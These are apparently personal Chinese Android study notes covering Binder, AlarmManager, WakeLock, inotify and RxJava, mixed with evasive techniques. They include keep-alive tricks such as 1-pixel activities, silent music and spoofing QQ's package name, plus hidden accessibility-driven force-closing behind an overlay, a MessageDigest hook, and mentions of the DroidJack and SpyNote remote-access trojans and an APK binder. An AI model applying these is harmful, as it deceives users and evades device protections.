// https://www.jianshu.com/p/1c09bf69deaf ####very good url
// 应该再有一个cpp包括所有very good 的url
// 一个cpp 包括 good 的url
一个进程的Binder线程数默认最大是16,超过的请求会被阻塞等待空闲的Binder线程。
所以,在进程间通信时处理并发问题时,如使用ContentProvider时,它的CRUD(创建、
检索、更新和删除)方法只能同时有16个线程同时工作
// https://www.jianshu.com/p/345121309919 // very good url
-animation .................动画相关的文件夹
-api .......................网络加载接口,网址的配置
-base ......................各种基类
-bean .......................实体类
-db .........................数据库
-net ........................网络加载和网络拦截
-service.....................服务相关
-utils ......................各种工具类
-view ......................视图类的集合
-activity
-adapter
-fragment
-impl
-weight......................自定义View
事件传递顺序 Activity--->ViewGroup-->View
very good https://www.jianshu.com/p/1c09bf69deaf
别人的一面: 用google搜索 // very very useful
Android一些优化方案 https://www.jianshu.com/p/345121309919
什么是过渡绘制,如何防止过渡绘制 http://androidperformance.com/2014/10/20/android-performance-optimization-overdraw-1.html
事件分发机制 https://www.jianshu.com/p/e99b5e8bd67b
ListView的优化 http://blog.csdn.net/cyp331203/article/details/39533399 https://www.jianshu.com/p/f0408a0f0610
Binder机制 http://blog.csdn.net/carson_ho/article/details/73560642
在多进程中,Application会启动几次 http://blog.csdn.net/wx_jin/article/details/50894058
单例模式,双锁原理,volatile原理,静态内部类实现单例的原理。 http://wuchong.me/blog/2014/08/28/how-to-correctly-write-singleton-pattern/
Java多线程,synchronized https://segmentfault.com/a/1190000003810166
android 长连接 http://blog.csdn.net/qq_23547831/article/details/51690047
询问看过哪些框架源码,EventBus,Volley讲了一下。
好的: https://mp.weixin.qq.com/s?__biz=MzI2OTQxMTM4OQ==&mid=2247485000&idx=1&sn=2d74c597c62c9c4229f79cce9587b6bf&chksm=eae1f31add967a0cddf98dd3bbf529b50420bbf7a9cb6b238e6e6fe993c8bd8ba5cca728e0da#rd
https://githuber.cn/ // 类似github的very good 网站
// Total Commander // 好用的文件管理器
进程保活 常用手段
1.开启服务,设置服务杀死重生;
2.开启服务,发送通知,设置为前台服务;
3.双进程保活; native 层再来一个init管理的子进程
4.检测各种系统广播启动应用;
5.息屏打开1像素点Activity;
6.开启服务,播放无声音乐(七伤拳);//耗电量 大
7.优化应用内存(当我没说这句大实话);
TCP 为什么需要心跳包
因为NAT超时, 路由器转发表是有限的,当路由表数目很多的时候,内网访问www.baidu.com
的数据将会被丢弃,所以不断地发心跳包,刷新路由器转发表,使得路由器转发表始终包含
内网到www.baidu.com的连接
手机网络和WIFI网络切换, 网络断开和连上等情况, 也会使长连接断开.
(1)、ELAPSED_REALTIME:在指定的延时之后发送Intent,但不唤醒设备
(2)、ELAPSED_REALTIME_WAKEUP:在指定的延时之后发送Intent,同时唤醒设备
延时是会把系统启动的时间SystemClock.elapsedRealtime()算进去!!
(3)、RTC:在指定的时刻发送Intent,但不唤醒设备
(4)、RTC_WAKEUP:在指定的时刻发送Intent,同时唤醒设备
PendingIntent pi = PendingIntent.getBroadcast //getService //getActivity
// 获取对应的activity
在应用的生命周期之外调度任务
Alarm Manager
Job Scheduler
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.DEVICE_POWER"/>
WakeLock是一种锁机制,只要有人拿着这把锁,系统就无法进入休眠阶段。
// 所以要和系统争夺cpu的使用权???
释放锁的时候再次获取锁
通过 setReferenceCounted(boolean value) 来指定. true 计数, false 不计数. 默认为计数机制.
如果是不计数模式, 不论之前 acquire() 了多少次, 调用一次 release() 就会释放所有锁.
如果是计数模式, 每次调用 acquire() 都会计数 count++, release() 的时候 count 的值必须相同.
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
Alarm Manager在alarm receiver的onReceive()方法执行期间持有一个CPU唤醒锁,以保证完成处理广播。方法返回,则释放唤醒锁,设备即可睡去。
如果你在处理广播时调用了Context.startService(),则手机可能会在服务起来之前睡去。所以必须实现独立的唤醒锁策略,使手机在服务起来之前保持运转。
wakeLock.acquire();
/******* do someting **************/
wakeLock.release();
为了让定时器在进程被终止后还能触发,需要对上述实现做一个小的修改:在AndroidMefest.xml中如下定义广播接收类:
<receiver android:name=".MyReceiver" android:process=":newinst">
</receiver>
https://github.com/Justson/DingDingHelper // 叮叮打卡
可以搜索 xx手机源码,分析其中的深度定制思想
如https://consumer.huawei.com/en/opensource/detail/?siteCode=worldwide&keywords=7.0&fileType=openSourceSoftware&pageSize=10&curPage=1
// 华为源码分析
https://consumer.huawei.com/en/opensource/detail/?siteCode=worldwide&keywords=p9&fileType=openSourceSoftware&pageSize=10&curPage=1
keywords=7.0 keywords=p9
阻塞时候,当前线程会挂起,从而等待操作系统内核监听到事件变化时候回调到该函数
AlarmManager无论在应用是否被关闭都能正常执行,但这仅限于原生Android系统。
国产定制Android系统小米、魅族、华为等等都会对AlarmManager唤醒做限制,
导致应用被关闭后无法正常执行。此时我们需要做的就是应用保活
android 经典远控 DroidJack + SpyNote #important
apk捆绑器 //https://www.52pojie.cn/thread-249569-1-1.html
gityuan // 腾讯 袁神??? http://gityuan.com/
android 6.0 杀进程组了,// 杀进程时候,先将所有进程挂起(此时所有的进程都不执行了),之后杀进程组
linux fork机制,写时copy write_on_copy 直接拷贝内存使得进程能够快速创建,在
并发请求时候,如apache里面,可以马上建立多个进程处理http请求,之后再释放、
当多个进程可能会对同样的数据执行操作时,这些进程需要保证其它进程没有也在操作,以免损坏数据。
通常,这样的进程会使用一个「锁文件」,也就是建立一个文件来告诉别的进程自己在运行,
如果检测到那个文件存在则认为有操作同样数据的进程在工作。
这样的问题是,进程不小心意外死亡了,没有清理掉那个锁文件,那么只能由用户手动来清理了。
flock 这个系统调用。flock 是对于整个文件的建议性锁。
第一个参数是文件描述符,在此文件描述符关闭时,锁会自动释放。
而当进程终止时,所有的文件描述符均会被关闭。于是,很多时候就不用考虑解锁的事情啦。
Linux下使用inotify监控文件动作
inotify_init() – 创建一个inotify实例
inotify_add_watch(int fd, const char pathname, uint32_t mask) – 加入文件或目录到inotify进行监测
inotify_rm_watch(int fd, int wd) – 移除一个watcher
struct inotify_event {
int wd; / Watch descriptor /
uint32_t mask; / Mask of events /
uint32_t cookie; / Unique cookie associating related
events (for rename(2)) /
uint32_t len; / Size of name field /
char name[]; / Optional null-terminated name */
};
struct EventMask{
int flag;
const char *name;
}
;
int freadsome(void *dest,size_t remain,FILE *file){
char offset = (char)dest;
while(remain){
int n = fread(offset,1,remain,file);
if( n == 0){
return -1;
}
remain -= n ;
offset += n;
}
return 0;
}
int monitor = inotify_init(); 返回值是文件描述符
// 当有事件发生的时候,会写事件到这个文件描述符,
// 所以不断地从这个文件描述符读取事件,就可以知道发生了什么事件了
inotify_add_watch(monitor,target,IN_ALL_EVENTS); 监测所有的文件记录
FILE *monitor_file = fdopen(monitor,"r");
while(true){
inotify_event event;
if( -1 == freadsome(&event,sizeof(event),monitor_file)){
ERROR("freadsome");
}
if(event.len){
freadsome(name,event.len,monitor_file);
}else{
printf(name, "FD: %d\n", event.wd);
}
if (strcmp(name, last_name) != 0) {
puts(name);
strcpy(last_name, name);
}
/* 显示event的mask的含义 */
for (int i=0; i<sizeof(event_masks)/sizeof(EventMask); ++i) {
if (event.mask & event_masks[i].flag) {
printf("\t%s\n", event_masks[i].name);
}
}
}
linux notify use // http://www.jiangmiao.org/blog/2179.html
MarsDaemon //https://www.jianshu.com/p/70d45a79456a
android的AccessibilityHelper,这个功能初衷是帮助老年人或者视力有障碍的
人群进行模拟点击操作,只要应用经过用户授权,就可以获取当前屏幕的所有控
件以及空间上的信息,模拟手指触屏操作。于是乎,所谓的免root是让你给他们
授权,然后他们给你在手机上点点点,点到settings中找到对应package点击force close,
被用户看到你在操控他的手机当然不好,于是上面盖一个window当遮羞布,给你显示个进
度条,后面不停点点点,就是这样。有空再发一下AccessibilityHelper 的demo。
5.0以上包括5.0的哪怕源生系统也会连同c进程一起清理掉
在父子进程间建立管道,但是并不写入数据,只是使用阻塞方法在另一端去读取管道,
这样如果对方进程挂掉,管道会被破坏,
那么另一端的读取方法就会执行返回,由此确定对方挂掉然后重启对方。
清理僵尸进程,就像最开始讲的,低端手机会忽略c进程,如果我们恰巧运行在低端手机上,
那么c进程得不到释放会越来越多,我们称他为僵尸进程,需要清理一下
0 读 1写 2错误
result = pipe(fd);
由于fork会继承所有的,所以此时的fd[0],fd[1]都被子进程继承了,所以子进程可以
访问fd[0]和fd[1]的数据
//类似管道阻塞 的文件锁
进程a给文件1加锁,然后阻塞读取文件2的锁,进程b给文件2加锁,
然后阻塞读取文件1的锁,如果对方进程挂掉,他所在进程所持有的文件锁会立即释放,
那么另一个进程就可以读取到被释放文件锁的文件,监听到对方挂掉。
进程a
lock(a1);
createFile(a2);
while(!b2.exists()){
sleep(10);
}
lock(b1) // 阻塞
进程b
lock(b1);
createFile(b2);
while(!a2.exists()){
sleep(10);
}
lock(a1) // 阻塞
// 360 禁止我们广播策略
// 1、他阻止系统发出开机广播,开机之后立刻注入SystemService
// 2、系统发出广播,他让我们收不到
// 3、我们收到广播之后,他把我们return掉
// 4、他没能return掉我们,但是立马杀掉我们
AttributeSet获取的值,如果是引用都变成了@+数字的字符串
TypedArray可以直接获得引用的值
// 系统对于包名为com.tencent.qq com.tencent.mm 的会不杀死??所以可以伪装成qq的包名
// 之后系统就排除了,不会杀死???
// 。最后zygote进程进入监听状态。一旦Android上层有创建新APK进程的需求,
// zygote进程便会为其分裂出新的进程。这个APK新进程,一开始便拥有了ART虚拟机
// 和zygote预先加载的各种系统类和资源,
// 能大大加速apk应用的启动,同时也能节省很大的内存开支。
Xposed Hook 会把method缓存到hashMap里面,所以可以读取hashMap里面是否包含阿里的关键字段,
例如:com.alibaba,com.taobao
// 因为有可能用户喜欢装xposed,所以不能因为发现了xposed就提示不安全
// 观察者模式实则是 观察属性的实现,对感兴趣的属性注册,
// 例如 view 有多种属性,onClick,onTouch,onCreate,ondestory
// 所以可以对特定的属性感兴趣,setNotifyEvent("onClick",void(func));
public void onClick(){
/**
*/
for(int i=0;i<observers.size();i++){
observers.get(i).notify();
}
}
RxJava 有四个基本概念:Observable (可观察者,即被观察者)、 Observer (观察者)、
subscribe (订阅)、事件。Observable 和 Observer 通过 subscribe() 方法实现订阅关系
,从而 Observable 可以在需要的时候发出事件来通知 Observer。
just(T...): 将传入的参数依次发送出来。
from(T[]) / from(Iterable<? extends T>) : 将传入的数组或 Iterable 拆分成具体对象后,依次发送出来。
创建了 Observable 和 Observer 之后,再用 subscribe() 方法将它们联结起来,
整条链子就可以工作了。代码形式很简单
observable.subscribe(observer);
// 或者:
observable.subscribe(subscriber);
public Subscription subscribe(Subscriber subscriber) {
subscriber.onStart();
onSubscribe.call(subscriber);
return subscriber;
}
调用 Subscriber.onStart() 。这个方法在前面已经介绍过,是一个可选的准备方法。
调用 Observable 中的 OnSubscribe.call(Subscriber) 。在这里,事件发送的逻辑开始运行。从这也可以看出,在 RxJava 中, Observable 并不是在创建的时候就立即开始发送事件,而是在它被订阅的时候,即当 subscribe() 方法执行的时候。
将传入的 Subscriber 作为 Subscription 返回。这是为了方便 unsubscribe().
Action1<String> onNextAction = new Action1<String>() {
// onNext()
@Override
public void call(String s) {
Log.d(tag, s);
}
};
Action1<Throwable> onErrorAction = new Action1<Throwable>() {
// onError()
@Override
public void call(Throwable throwable) {
// Error handling
}
};
Action0 onCompletedAction = new Action0() {
// onCompleted()
@Override
public void call() {
Log.d(tag, "completed");
}
};
// 自动创建 Subscriber ,并使用 onNextAction 来定义 onNext()
observable.subscribe(onNextAction);
// 自动创建 Subscriber ,并使用 onNextAction 和 onErrorAction 来定义 onNext() 和 onError()
observable.subscribe(onNextAction, onErrorAction);
// 自动创建 Subscriber ,并使用 onNextAction、 onErrorAction 和 onCompletedAction 来定义 onNext()、 onError() 和 onCompleted()
observable.subscribe(onNextAction, onErrorAction, onCompletedAction);
Action0 是 RxJava 的一个接口,它只有一个方法 call(),这个方法是无参无返回值的;
由于 onCompleted() 方法也是无参无返回值的,因此 Action0 可以被当成一个包装对象,
将 onCompleted() 的内容打包起来将自己作为一个参数传入 subscribe() 以实现不完整定义的回调。
这样其实也可以看做将 onCompleted() 方法作为参数传进了 subscribe(),相当于
其他某些语言中的『闭包』。 Action1 也是一个接口,它同样只有一个方法 call(T param),
这个方法也无返回值,但有一个参数;与 Action0 同理,由于 onNext(T obj) 和
onError(Throwable error) 也是单参数无返回值的,因此 Action1 可以将 onNext(obj)
和 onError(error) 打包起来传入 subscribe() 以实现不完整定义的回调。事实上,虽然
Action0 和 Action1 在 API 中使用最广泛,但 RxJava 是提供了多个 ActionX 形式的接
口 (例如 Action2, Action3) 的,它们可以被用以包装不同的无返回值的方法。
排序 :onNext,onError,onCompleted
Scheduler (调度器)。
Observable.just(1, 2, 3, 4)
.subscribeOn(Schedulers.io()) // 指定 subscribe() 发生在 IO 线程
.observeOn(AndroidSchedulers.mainThread()) // 指定 Subscriber 的回调发生在主线程
.subscribe(new Action1<Integer>() {
@Override
public void call(Integer number) {
Log.d(tag, "number:" + number);
}
});
由于 subscribeOn(Schedulers.io()) 的指定,被创建的事件的内容 1、2、3、4 将会在 IO
线程发出;而由于 observeOn(AndroidScheculers.mainThread()) 的指定,因此
subscriber 数字的打印将发生在主线程 。事实上,这种在 subscribe() 之前写上两句
subscribeOn(Scheduler.io()) 和 observeOn(AndroidSchedulers.mainThread()) 的使用方式
非常常见,它适用于多数的 『后台线程取数据,主线程显示』的程序策略。
.subscribeOn(Schedulers.io()) 指定subscribe()的创建在io线程
http://gank.io/post/560e15be2dca930e00da1083,
// 模糊md5 取md5,只取文件部分的进行md5计算
本地广播优点:
发送的广播只会在自己App内传播,不会泄露给其他App,确保隐私数据不会泄露
其他App也无法向你的App发送该广播,不用担心其他App会来搞破坏
比系统全局广播更加高效
http连接一般有个md5检验,所以可以直接hook一下MessageDigest类,打印出该md5
https://bbs.aliyun.com/read/275662.html // 更改阿里的颜色设置为32色
Microsoft Windows 7 (32 or 64bits)
Microsoft Windows 8 (32 or 64bits)
Microsoft Windows 10 (32 or 64bits)
硬件环境要求:
CPU:至少双核CPU(CPU支持VT-x或者AMD-V虚拟化能够大大提升使用体验,通过BIOS设置开启),支持Intel和Amd (支持所有amd cpu)
内存:至少2G;
显卡:完整的显卡驱动程序已安装,支持OpenGL 2.0或以上
base64编码前后不一致问题:
编码要统一
因为base64 编码是byte编码,所以肯定不会出错
出错的是new String()
tmp = Base64.decode(data) 肯定是正确的,
但是 new String(tmp) 可能出错,tmp可能是gbk编码的
一个小时大概能跑6000条
fastJson // GSON
jsonObject 不支持序列化 所以Intent跳转的时候,可以把jsonObject设置为一个static object保存,
之后在新的activity里面再把static object取出
UncaughtException处理类,当程序发生UnCaught异常的时候,由该类来接管程序,并记录发送错误报告
需要在Application中注册,为了要在程序启动时候就监控整个程序
handleException方法:
1.发送错误日志到服务器
2.给用户崩溃前的友好提示
3.把错误代码记录到sd卡
腾讯的Bugly平台,异常分析平台,告诉你某个类怎么修复。
服务器 自动打包
splash广告--->引导页--->首页
TCP+ protobuf
Monkey是Android系统固件自带的性能测试工具,他可以模拟各种按键、触屏、轨迹球、activity等事件。